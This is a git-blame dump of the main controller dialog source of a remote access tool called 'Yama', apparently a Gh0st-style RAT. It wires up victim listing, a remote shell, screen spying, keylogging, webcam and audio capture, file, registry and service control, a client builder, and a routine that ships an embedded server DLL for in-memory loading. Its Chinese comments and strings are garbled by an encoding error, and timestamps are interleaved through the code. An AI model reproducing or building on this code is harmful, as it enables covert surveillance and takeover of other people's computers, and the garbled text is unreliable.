2019-01-05 20:21:43 +08:00
// 2015RemoteDlg.cpp : ʵ<> <CAB5> <EFBFBD> ļ<EFBFBD>
//
# include "stdafx.h"
# include "2015Remote.h"
# include "2015RemoteDlg.h"
# include "afxdialogex.h"
# include "SettingDlg.h"
# include "IOCPServer.h"
# include "ScreenSpyDlg.h"
# include "FileManagerDlg.h"
# include "TalkDlg.h"
# include "ShellDlg.h"
# include "SystemDlg.h"
# include "BuildDlg.h"
# include "AudioDlg.h"
# include "RegisterDlg.h"
# include "ServicesDlg.h"
# include "VideoDlg.h"
2019-01-11 21:40:11 +08:00
# include <vector>
2025-01-31 22:22:16 +08:00
# include "KeyBoardDlg.h"
2025-04-15 21:37:01 +08:00
# include "InputDlg.h"
2025-04-16 23:31:34 +08:00
# include "CPasswordDlg.h"
# include "pwd_gen.h"
2025-04-20 21:24:31 +08:00
# include "DateVerify.h"
2019-01-05 20:21:43 +08:00
# ifdef _DEBUG
# define new DEBUG_NEW
# endif
# define UM_ICONNOTIFY WM_USER+100
2019-01-11 21:40:11 +08:00
2019-01-05 20:21:43 +08:00
enum
{
ONLINELIST_IP = 0 , //IP<49> <50> <EFBFBD> <EFBFBD> ˳<EFBFBD> <CBB3>
ONLINELIST_ADDR , //<2F> <> ַ
ONLINELIST_COMPUTER_NAME , //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /<2F> <> ע
ONLINELIST_OS , //<2F> <> <EFBFBD> <EFBFBD> ϵͳ
ONLINELIST_CPU , //CPU
ONLINELIST_VIDEO , //<2F> <> <EFBFBD> <EFBFBD> ͷ(<28> <> <EFBFBD> <EFBFBD> )
2024-12-28 04:34:54 +08:00
ONLINELIST_PING , //PING(<28> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )
ONLINELIST_VERSION , // <20> 汾<EFBFBD> <E6B1BE> Ϣ
2025-04-07 18:18:36 +08:00
ONLINELIST_LOGINTIME , // <20> <EFBFBD> <EEB6AF> <EFBFBD> <EFBFBD>
2024-12-29 01:09:06 +08:00
ONLINELIST_CLIENTTYPE , // <20> ͻ<EFBFBD> <CDBB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2024-12-28 04:34:54 +08:00
ONLINELIST_MAX ,
2019-01-05 20:21:43 +08:00
} ;
typedef struct
{
2019-02-04 14:49:11 +08:00
const char * szTitle ; //<2F> б <EFBFBD> <D0B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
int nWidth ; //<2F> б <EFBFBD> <D0B1> Ŀ<EFBFBD> <C4BF> <EFBFBD>
} COLUMNSTRUCT ;
2024-12-28 04:34:54 +08:00
const int g_Column_Count_Online = ONLINELIST_MAX ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
2019-01-05 20:21:43 +08:00
2019-02-04 14:49:11 +08:00
COLUMNSTRUCT g_Column_Data_Online [ g_Column_Count_Online ] =
2019-01-05 20:21:43 +08:00
{
2019-02-04 14:49:11 +08:00
{ " IP " , 148 } ,
2019-03-29 10:40:08 +08:00
{ " <EFBFBD> ˿<EFBFBD> " , 64 } ,
2019-01-05 20:21:43 +08:00
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /<2F> <> ע" , 160 } ,
2019-03-29 10:40:08 +08:00
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ϵͳ" , 256 } ,
2019-02-04 14:49:11 +08:00
{ " CPU " , 80 } ,
2019-03-29 10:40:08 +08:00
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ͷ" , 72 } ,
{ " PING " , 100 } ,
2024-12-28 04:34:54 +08:00
{ " <EFBFBD> 汾" , 80 } ,
2025-04-07 18:18:36 +08:00
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 150 } ,
2024-12-29 01:09:06 +08:00
{ " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 50 } ,
2019-01-05 20:21:43 +08:00
} ;
// <20> <> <EFBFBD> <EFBFBD> Ӧ<EFBFBD> ó<EFBFBD> <C3B3> <EFBFBD> <F2A1B0B9> ڡ<EFBFBD> <DAA1> ˵<EFBFBD> <CBB5> <EFBFBD> <EFBFBD> <EFBFBD> CAboutDlg <20> Ի<EFBFBD> <D4BB> <EFBFBD>
2019-02-04 14:49:11 +08:00
const int g_Column_Count_Message = 3 ; // <20> б <EFBFBD> <D0B1> ĸ<EFBFBD> <C4B8> <EFBFBD>
COLUMNSTRUCT g_Column_Data_Message [ g_Column_Count_Message ] =
2019-01-05 20:21:43 +08:00
{
{ " <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 200 } ,
{ " ʱ<EFBFBD> <EFBFBD> " , 200 } ,
{ " <EFBFBD> <EFBFBD> Ϣ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , 490 }
} ;
2019-02-04 14:49:11 +08:00
int g_Column_Online_Width = 0 ;
int g_Column_Message_Width = 0 ;
2025-04-07 18:18:36 +08:00
2019-01-05 20:21:43 +08:00
CMy2015RemoteDlg * g_2015RemoteDlg = NULL ;
static UINT Indicators [ ] =
{
IDR_STATUSBAR_STRING
} ;
class CAboutDlg : public CDialogEx
{
public :
CAboutDlg ( ) ;
// <20> Ի<EFBFBD> <D4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
enum { IDD = IDD_ABOUTBOX } ;
protected :
virtual void DoDataExchange ( CDataExchange * pDX ) ; // DDX/DDV ֧<> <D6A7>
// ʵ<> <CAB5>
protected :
DECLARE_MESSAGE_MAP ( )
} ;
CAboutDlg : : CAboutDlg ( ) : CDialogEx ( CAboutDlg : : IDD )
{
}
void CAboutDlg : : DoDataExchange ( CDataExchange * pDX )
{
CDialogEx : : DoDataExchange ( pDX ) ;
}
BEGIN_MESSAGE_MAP ( CAboutDlg , CDialogEx )
END_MESSAGE_MAP ( )
// CMy2015RemoteDlg <20> Ի<EFBFBD> <D4BB> <EFBFBD>
2025-04-07 18:18:36 +08:00
CMy2015RemoteDlg : : CMy2015RemoteDlg ( IOCPServer * iocpServer , CWnd * pParent ) : CDialogEx ( CMy2015RemoteDlg : : IDD , pParent )
2019-01-05 20:21:43 +08:00
{
2025-04-07 18:18:36 +08:00
m_iocpServer = iocpServer ;
m_hExit = CreateEvent ( NULL , TRUE , FALSE , NULL ) ;
2019-01-05 20:21:43 +08:00
m_hIcon = AfxGetApp ( ) - > LoadIcon ( IDR_MAINFRAME ) ;
m_bmOnline [ 0 ] . LoadBitmap ( IDB_BITMAP_ONLINE ) ;
2024-12-28 18:35:34 +08:00
m_bmOnline [ 1 ] . LoadBitmap ( IDB_BITMAP_UPDATE ) ;
m_bmOnline [ 2 ] . LoadBitmap ( IDB_BITMAP_DELETE ) ;
2025-04-15 21:37:01 +08:00
m_bmOnline [ 3 ] . LoadBitmap ( IDB_BITMAP_SHARE ) ;
2019-01-05 20:21:43 +08:00
InitializeCriticalSection ( & m_cs ) ;
}
2019-01-11 21:40:11 +08:00
CMy2015RemoteDlg : : ~ CMy2015RemoteDlg ( )
{
DeleteCriticalSection ( & m_cs ) ;
2025-04-07 18:18:36 +08:00
for ( int i = 0 ; i < PAYLOAD_MAXTYPE ; i + + )
SAFE_DELETE ( m_ServerDLL [ i ] ) ;
2019-01-11 21:40:11 +08:00
}
2019-01-05 20:21:43 +08:00
void CMy2015RemoteDlg : : DoDataExchange ( CDataExchange * pDX )
{
CDialogEx : : DoDataExchange ( pDX ) ;
DDX_Control ( pDX , IDC_ONLINE , m_CList_Online ) ;
DDX_Control ( pDX , IDC_MESSAGE , m_CList_Message ) ;
}
BEGIN_MESSAGE_MAP ( CMy2015RemoteDlg , CDialogEx )
ON_WM_SYSCOMMAND ( )
ON_WM_PAINT ( )
ON_WM_QUERYDRAGICON ( )
ON_WM_SIZE ( )
ON_WM_TIMER ( )
ON_WM_CLOSE ( )
ON_NOTIFY ( NM_RCLICK , IDC_ONLINE , & CMy2015RemoteDlg : : OnNMRClickOnline )
2025-01-15 00:28:37 +08:00
ON_NOTIFY ( HDN_ITEMCLICK , 0 , & CMy2015RemoteDlg : : OnHdnItemclickList )
2019-01-05 20:21:43 +08:00
ON_COMMAND ( ID_ONLINE_MESSAGE , & CMy2015RemoteDlg : : OnOnlineMessage )
ON_COMMAND ( ID_ONLINE_DELETE , & CMy2015RemoteDlg : : OnOnlineDelete )
2024-12-28 18:35:34 +08:00
ON_COMMAND ( ID_ONLINE_UPDATE , & CMy2015RemoteDlg : : OnOnlineUpdate )
2019-01-05 20:21:43 +08:00
ON_COMMAND ( IDM_ONLINE_ABOUT , & CMy2015RemoteDlg : : OnAbout )
ON_COMMAND ( IDM_ONLINE_CMD , & CMy2015RemoteDlg : : OnOnlineCmdManager )
ON_COMMAND ( IDM_ONLINE_PROCESS , & CMy2015RemoteDlg : : OnOnlineProcessManager )
ON_COMMAND ( IDM_ONLINE_WINDOW , & CMy2015RemoteDlg : : OnOnlineWindowManager )
ON_COMMAND ( IDM_ONLINE_DESKTOP , & CMy2015RemoteDlg : : OnOnlineDesktopManager )
ON_COMMAND ( IDM_ONLINE_FILE , & CMy2015RemoteDlg : : OnOnlineFileManager )
ON_COMMAND ( IDM_ONLINE_AUDIO , & CMy2015RemoteDlg : : OnOnlineAudioManager )
ON_COMMAND ( IDM_ONLINE_VIDEO , & CMy2015RemoteDlg : : OnOnlineVideoManager )
ON_COMMAND ( IDM_ONLINE_SERVER , & CMy2015RemoteDlg : : OnOnlineServerManager )
ON_COMMAND ( IDM_ONLINE_REGISTER , & CMy2015RemoteDlg : : OnOnlineRegisterManager )
2025-01-31 22:22:16 +08:00
ON_COMMAND ( IDM_KEYBOARD , & CMy2015RemoteDlg : : OnOnlineKeyboardManager )
2019-01-05 20:21:43 +08:00
ON_COMMAND ( IDM_ONLINE_BUILD , & CMy2015RemoteDlg : : OnOnlineBuildClient ) //<2F> <> <EFBFBD> <EFBFBD> Client
ON_MESSAGE ( UM_ICONNOTIFY , ( LRESULT ( __thiscall CWnd : : * ) ( WPARAM , LPARAM ) ) OnIconNotify )
ON_COMMAND ( IDM_NOTIFY_SHOW , & CMy2015RemoteDlg : : OnNotifyShow )
ON_COMMAND ( ID_NOTIFY_EXIT , & CMy2015RemoteDlg : : OnNotifyExit )
ON_COMMAND ( ID_MAIN_SET , & CMy2015RemoteDlg : : OnMainSet )
ON_COMMAND ( ID_MAIN_EXIT , & CMy2015RemoteDlg : : OnMainExit )
ON_MESSAGE ( WM_USERTOONLINELIST , OnUserToOnlineList )
ON_MESSAGE ( WM_USEROFFLINEMSG , OnUserOfflineMsg )
ON_MESSAGE ( WM_OPENSCREENSPYDIALOG , OnOpenScreenSpyDialog )
ON_MESSAGE ( WM_OPENFILEMANAGERDIALOG , OnOpenFileManagerDialog )
ON_MESSAGE ( WM_OPENTALKDIALOG , OnOpenTalkDialog )
ON_MESSAGE ( WM_OPENSHELLDIALOG , OnOpenShellDialog )
ON_MESSAGE ( WM_OPENSYSTEMDIALOG , OnOpenSystemDialog )
ON_MESSAGE ( WM_OPENAUDIODIALOG , OnOpenAudioDialog )
ON_MESSAGE ( WM_OPENSERVICESDIALOG , OnOpenServicesDialog )
ON_MESSAGE ( WM_OPENREGISTERDIALOG , OnOpenRegisterDialog )
ON_MESSAGE ( WM_OPENWEBCAMDIALOG , OnOpenVideoDialog )
2025-02-25 03:43:15 +08:00
ON_MESSAGE ( WM_HANDLEMESSAGE , OnHandleMessage )
2025-01-31 22:22:16 +08:00
ON_MESSAGE ( WM_OPENKEYBOARDDIALOG , OnOpenKeyboardDialog )
2019-01-12 18:21:42 +08:00
ON_WM_HELPINFO ( )
2025-04-15 21:37:01 +08:00
ON_COMMAND ( ID_ONLINE_SHARE , & CMy2015RemoteDlg : : OnOnlineShare )
2025-04-20 21:24:31 +08:00
ON_COMMAND ( ID_TOOL_AUTH , & CMy2015RemoteDlg : : OnToolAuth )
2019-01-05 20:21:43 +08:00
END_MESSAGE_MAP ( )
// CMy2015RemoteDlg <20> <> Ϣ<EFBFBD> <CFA2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
void CMy2015RemoteDlg : : OnIconNotify ( WPARAM wParam , LPARAM lParam )
{
switch ( ( UINT ) lParam )
{
2019-05-08 11:47:55 +08:00
case WM_LBUTTONDOWN :
2019-01-05 20:21:43 +08:00
{
2019-05-08 11:47:55 +08:00
if ( IsIconic ( ) )
{
2024-12-29 22:13:37 +08:00
ShowWindow ( SW_SHOW ) ;
2019-05-08 11:47:55 +08:00
break ;
}
2024-12-29 22:13:37 +08:00
ShowWindow ( IsWindowVisible ( ) ? SW_HIDE : SW_SHOW ) ;
2019-05-08 11:47:55 +08:00
SetForegroundWindow ( ) ;
2019-01-05 20:21:43 +08:00
break ;
}
case WM_RBUTTONDOWN :
{
CMenu Menu ;
Menu . LoadMenu ( IDR_MENU_NOTIFY ) ;
CPoint Point ;
GetCursorPos ( & Point ) ;
SetForegroundWindow ( ) ; //<2F> <> <EFBFBD> õ<EFBFBD> ǰ<EFBFBD> <C7B0> <EFBFBD> <EFBFBD>
Menu . GetSubMenu ( 0 ) - > TrackPopupMenu (
TPM_LEFTBUTTON | TPM_RIGHTBUTTON ,
Point . x , Point . y , this , NULL ) ;
break ;
}
}
}
VOID CMy2015RemoteDlg : : CreateSolidMenu ( )
{
2019-02-04 14:49:11 +08:00
HMENU hMenu = LoadMenu ( NULL , MAKEINTRESOURCE ( IDR_MENU_MAIN ) ) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> ˵<EFBFBD> <CBB5> <EFBFBD> Դ
2019-01-05 20:21:43 +08:00
: : SetMenu ( this - > GetSafeHwnd ( ) , hMenu ) ; //Ϊ<> <CEAA> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ò˵<C3B2>
: : DrawMenuBar ( this - > GetSafeHwnd ( ) ) ; //<2F> <> ʾ <EFBFBD> ˵<EFBFBD>
}
VOID CMy2015RemoteDlg : : CreatStatusBar ( )
{
if ( ! m_StatusBar . Create ( this ) | |
! m_StatusBar . SetIndicators ( Indicators ,
sizeof ( Indicators ) / sizeof ( UINT ) ) ) //<2F> <> <EFBFBD> <EFBFBD> ״̬<D7B4> <CCAC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ַ<EFBFBD> <D6B7> <EFBFBD> Դ<EFBFBD> <D4B4> ID
{
return ;
}
CRect rect ;
GetWindowRect ( & rect ) ;
rect . bottom + = 20 ;
MoveWindow ( rect ) ;
}
VOID CMy2015RemoteDlg : : CreateNotifyBar ( )
{
m_Nid . cbSize = sizeof ( NOTIFYICONDATA ) ; //<2F> <> С <EFBFBD> <D0A1> ֵ
m_Nid . hWnd = m_hWnd ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> DZ<EFBFBD> <C7B1> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڸ<EFBFBD> <DAB8> <EFBFBD> CWnd<6E> <64> <EFBFBD> <EFBFBD>
m_Nid . uID = IDR_MAINFRAME ; //icon ID
m_Nid . uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ӵ<EFBFBD> е <EFBFBD> ״̬
m_Nid . uCallbackMessage = UM_ICONNOTIFY ; //<2F> ص<EFBFBD> <D8B5> <EFBFBD> Ϣ
m_Nid . hIcon = m_hIcon ; //icon <20> <> <EFBFBD> <EFBFBD>
2019-01-11 21:40:11 +08:00
CString strTips = " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> : Զ<> <D4B6> Э<EFBFBD> <D0AD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʾ
2019-01-05 20:21:43 +08:00
lstrcpyn ( m_Nid . szTip , ( LPCSTR ) strTips , sizeof ( m_Nid . szTip ) / sizeof ( m_Nid . szTip [ 0 ] ) ) ;
Shell_NotifyIcon ( NIM_ADD , & m_Nid ) ; //<2F> <> ʾ <EFBFBD> <CABE> <EFBFBD> <EFBFBD>
}
VOID CMy2015RemoteDlg : : CreateToolBar ( )
{
if ( ! m_ToolBar . CreateEx ( this , TBSTYLE_FLAT , WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC ) | |
! m_ToolBar . LoadToolBar ( IDR_TOOLBAR_MAIN ) ) //<2F> <> <EFBFBD> <EFBFBD> һ <EFBFBD> <D2BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Դ
{
return ;
}
m_ToolBar . LoadTrueColorToolBar
(
48 , //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʹ <EFBFBD> <CAB9> <EFBFBD> <EFBFBD> <EFBFBD>
IDB_BITMAP_MAIN ,
IDB_BITMAP_MAIN ,
IDB_BITMAP_MAIN
) ; //<2F> <> <EFBFBD> <EFBFBD> <EFBFBD> ǵ<EFBFBD> λͼ<CEBB> <CDBC> Դ<EFBFBD> <D4B4> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
RECT Rect , RectMain ;
GetWindowRect ( & RectMain ) ; //<2F> õ<EFBFBD> <C3B5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ڵĴ<DAB5> С
Rect . left = 0 ;
Rect . top = 0 ;
Rect . bottom = 80 ;
Rect . right = RectMain . right - RectMain . left + 10 ;
m_ToolBar . MoveWindow ( & Rect , TRUE ) ;
m_ToolBar . SetButtonText ( 0 , " <EFBFBD> ն˹<EFBFBD> <EFBFBD> <EFBFBD> " ) ; //<2F> <> λͼ<CEBB> <CDBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ļ<EFBFBD>
m_ToolBar . SetButtonText ( 1 , " <EFBFBD> <EFBFBD> <EFBFBD> ̹<EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 2 , " <EFBFBD> <EFBFBD> <EFBFBD> ڹ<EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 3 , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 4 , " <EFBFBD> ļ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 5 , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 6 , " <EFBFBD> <EFBFBD> Ƶ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 7 , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 8 , " ע<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
2025-01-31 22:22:16 +08:00
m_ToolBar . SetButtonText ( 9 , " <EFBFBD> <EFBFBD> <EFBFBD> ̼<EFBFBD> ¼" ) ;
m_ToolBar . SetButtonText ( 10 , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 11 , " <EFBFBD> <EFBFBD> <EFBFBD> ɷ<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
m_ToolBar . SetButtonText ( 12 , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
2019-01-05 20:21:43 +08:00
RepositionBars ( AFX_IDW_CONTROLBAR_FIRST , AFX_IDW_CONTROLBAR_LAST , 0 ) ; //<2F> <> ʾ
}
VOID CMy2015RemoteDlg : : InitControl ( )
{
//ר<> <D7A8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
CRect rect ;
GetWindowRect ( & rect ) ;
rect . bottom + = 20 ;
MoveWindow ( rect ) ;
2019-01-18 17:37:15 +08:00
for ( int i = 0 ; i < g_Column_Count_Online ; + + i )
2019-01-05 20:21:43 +08:00
{
m_CList_Online . InsertColumn ( i , g_Column_Data_Online [ i ] . szTitle , LVCFMT_CENTER , g_Column_Data_Online [ i ] . nWidth ) ;
g_Column_Online_Width + = g_Column_Data_Online [ i ] . nWidth ;
}
m_CList_Online . SetExtendedStyle ( LVS_EX_FULLROWSELECT ) ;
2019-01-18 17:37:15 +08:00
for ( int i = 0 ; i < g_Column_Count_Message ; + + i )
2019-01-05 20:21:43 +08:00
{
m_CList_Message . InsertColumn ( i , g_Column_Data_Message [ i ] . szTitle , LVCFMT_CENTER , g_Column_Data_Message [ i ] . nWidth ) ;
g_Column_Message_Width + = g_Column_Data_Message [ i ] . nWidth ;
}
m_CList_Message . SetExtendedStyle ( LVS_EX_FULLROWSELECT ) ;
}
VOID CMy2015RemoteDlg : : TestOnline ( )
{
ShowMessage ( true , " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʼ <EFBFBD> <EFBFBD> <EFBFBD> ɹ<EFBFBD> ..." ) ;
}
2024-12-29 03:27:01 +08:00
bool IsExitItem ( CListCtrl & list , DWORD_PTR data ) {
for ( int i = 0 , n = list . GetItemCount ( ) ; i < n ; i + + )
{
DWORD_PTR v = list . GetItemData ( i ) ;
if ( v = = data ) {
return true ;
}
}
return false ;
}
2019-01-05 20:21:43 +08:00
2025-04-03 03:48:48 +08:00
std : : vector < CString > SplitCString ( CString strData ) {
std : : vector < CString > vecItems ;
CString strItem ;
int i = 0 ;
while ( AfxExtractSubString ( strItem , strData , i , _T ( ' | ' ) ) )
{
vecItems . push_back ( strItem ) ; // Add to vector
i + + ;
}
return vecItems ;
}
2019-01-05 20:21:43 +08:00
VOID CMy2015RemoteDlg : : AddList ( CString strIP , CString strAddr , CString strPCName , CString strOS ,
2024-12-29 01:09:06 +08:00
CString strCPU , CString strVideo , CString strPing , CString ver , CString st , CString tp , CONTEXT_OBJECT * ContextObject )
2019-01-05 20:21:43 +08:00
{
EnterCriticalSection ( & m_cs ) ;
2025-02-06 04:15:34 +08:00
if ( IsExitItem ( m_CList_Online , ( ULONG_PTR ) ContextObject ) ) {
2024-12-29 03:27:01 +08:00
LeaveCriticalSection ( & m_cs ) ;
2025-04-27 01:16:16 +08:00
Mprintf ( CString ( " ===> ' " ) + strIP + CString ( " ' already exist!! \n " ) ) ;
2024-12-29 03:27:01 +08:00
return ;
}
2019-01-05 20:21:43 +08:00
//Ĭ<> <C4AC> Ϊ0<CEAA> <30> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> в<EFBFBD> <D0B2> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ж<EFBFBD> <D0B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
int i = m_CList_Online . InsertItem ( m_CList_Online . GetItemCount ( ) , strIP ) ;
2025-04-03 03:48:48 +08:00
auto vec = SplitCString ( tp . IsEmpty ( ) ? " DLL " : tp ) ;
tp = vec [ 0 ] ;
2019-01-05 20:21:43 +08:00
m_CList_Online . SetItemText ( i , ONLINELIST_ADDR , strAddr ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_COMPUTER_NAME , strPCName ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_OS , strOS ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_CPU , strCPU ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_VIDEO , strVideo ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_PING , strPing ) ;
2024-12-28 04:34:54 +08:00
m_CList_Online . SetItemText ( i , ONLINELIST_VERSION , ver ) ;
m_CList_Online . SetItemText ( i , ONLINELIST_LOGINTIME , st ) ;
2024-12-29 01:09:06 +08:00
m_CList_Online . SetItemText ( i , ONLINELIST_CLIENTTYPE , tp . IsEmpty ( ) ? " DLL " : tp ) ;
2025-01-14 23:47:43 +08:00
CString data [ 10 ] = { strIP , strAddr , strPCName , strOS , strCPU , strVideo , strPing , ver , st , tp } ;
ContextObject - > SetClientInfo ( data ) ;
2019-01-05 20:21:43 +08:00
m_CList_Online . SetItemData ( i , ( DWORD_PTR ) ContextObject ) ;
ShowMessage ( true , strIP + " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) ;
LeaveCriticalSection ( & m_cs ) ;
2025-04-07 18:18:36 +08:00
SendMasterSettings ( ContextObject ) ;
2019-01-05 20:21:43 +08:00
}
VOID CMy2015RemoteDlg : : ShowMessage ( BOOL bOk , CString strMsg )
{
2019-02-04 14:49:11 +08:00
CTime Timer = CTime : : GetCurrentTime ( ) ;
CString strTime = Timer . Format ( " %H:%M:%S " ) ;
CString strIsOK = bOk ? " ִ<EFBFBD> г ɹ<EFBFBD> " : " ִ<EFBFBD> <EFBFBD> ʧ<EFBFBD> <EFBFBD> " ;
2019-01-05 20:21:43 +08:00
m_CList_Message . InsertItem ( 0 , strIsOK ) ; //<2F> <> <EFBFBD> ؼ<EFBFBD> <D8BC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
m_CList_Message . SetItemText ( 0 , 1 , strTime ) ;
m_CList_Message . SetItemText ( 0 , 2 , strMsg ) ;
CString strStatusMsg ;
2024-12-26 21:58:44 +08:00
EnterCriticalSection ( & m_cs ) ;
int m_iCount = m_CList_Online . GetItemCount ( ) ;
LeaveCriticalSection ( & m_cs ) ;
2019-01-05 20:21:43 +08:00
strStatusMsg . Format ( " <EFBFBD> <EFBFBD> %d<> <64> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " , m_iCount ) ;
m_StatusBar . SetPaneText ( 0 , strStatusMsg ) ; //<2F> <> ״̬<D7B4> <CCAC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʾ <EFBFBD> <CABE> <EFBFBD> <EFBFBD>
}
2025-04-07 18:18:36 +08:00
Buffer * ReadKernelDll ( bool is64Bit ) {
BYTE * szBuffer = NULL ;
int dwFileSize = 0 ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϊ MY_BINARY_FILE <20> <> BINARY <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Դ
auto id = is64Bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86 ;
HRSRC hResource = FindResourceA ( NULL , MAKEINTRESOURCE ( id ) , " BINARY " ) ;
if ( hResource = = NULL ) {
return NULL ;
}
// <20> <> ȡ<EFBFBD> <C8A1> Դ<EFBFBD> Ĵ<EFBFBD> С
DWORD dwSize = SizeofResource ( NULL , hResource ) ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Դ
HGLOBAL hLoadedResource = LoadResource ( NULL , hResource ) ;
if ( hLoadedResource = = NULL ) {
return NULL ;
}
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Դ<EFBFBD> <D4B4> <EFBFBD> <EFBFBD> ȡָ<C8A1> <D6B8> <EFBFBD> <EFBFBD> Դ<EFBFBD> <D4B4> <EFBFBD> ݵ<EFBFBD> ָ<EFBFBD> <D6B8>
LPVOID pData = LockResource ( hLoadedResource ) ;
if ( pData = = NULL ) {
return NULL ;
}
dwFileSize = dwSize ;
szBuffer = new BYTE [ sizeof ( int ) + dwFileSize + 2 ] ;
szBuffer [ 0 ] = CMD_DLLDATA ;
szBuffer [ 1 ] = MEMORYDLL ;
memcpy ( szBuffer + 2 , & dwFileSize , sizeof ( int ) ) ;
memcpy ( szBuffer + 2 + sizeof ( int ) , pData , dwFileSize ) ;
// CMD_DLLDATA + SHELLCODE + dwFileSize + pData
auto ret = new Buffer ( szBuffer , sizeof ( int ) + dwFileSize + 2 ) ;
delete [ ] szBuffer ;
return ret ;
}
2019-01-05 20:21:43 +08:00
BOOL CMy2015RemoteDlg : : OnInitDialog ( )
{
CDialogEx : : OnInitDialog ( ) ;
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ...<2E> <> <EFBFBD> ˵<EFBFBD> <CBB5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ӵ<EFBFBD> ϵͳ<CFB5> ˵<EFBFBD> <CBB5> С <EFBFBD>
2019-01-11 21:40:11 +08:00
SetWindowText ( _T ( " Yama " ) ) ;
2019-01-05 20:21:43 +08:00
